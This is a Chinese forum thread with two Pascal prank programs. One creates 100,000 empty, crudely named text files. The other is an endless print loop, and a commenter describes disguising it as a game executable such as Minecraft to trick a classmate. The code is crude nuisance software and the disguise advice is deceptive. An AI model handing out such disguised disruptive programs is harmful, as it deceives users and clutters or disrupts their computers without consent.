百度网盘
修改5号的缺陷。

var
a,b,c,d,e:char;
tdh:text;
w:string;
begin for a:='0' to '9'
do begin for b:='0' to '9' do begin
for c:='0' to '9' do begin
for d:='0' to '9' do begin
for e:='0' to '9' do begin
w:='叼毛兽'+a+b+c+d+e;
assign(tdh,w+'.txt');
rewrite(tdh);
close(tdh);
end;end;end;end;end;end.
试试这个

百度查到百度，不让分享了

尼玛，楼主太狠毒了，坑爹啊，楼主这是我写的，来坑一把（我曾经这样搞得我一同学把桌面弄了好久才恢复正常
var a，b：integer;
begin
a：=0;
b：=1;
while a<b do
write（“Happy Fools Day！”）;
end.
把这玩意从文件夹里移出来改成全屏exe格式，再把图标改成游戏之类（没错我同学的Minecraft就中招了），重命名，待在电脑旁边装作什么都不知道就好了，哦，切记，要把原来那个游戏之类的移走万无一失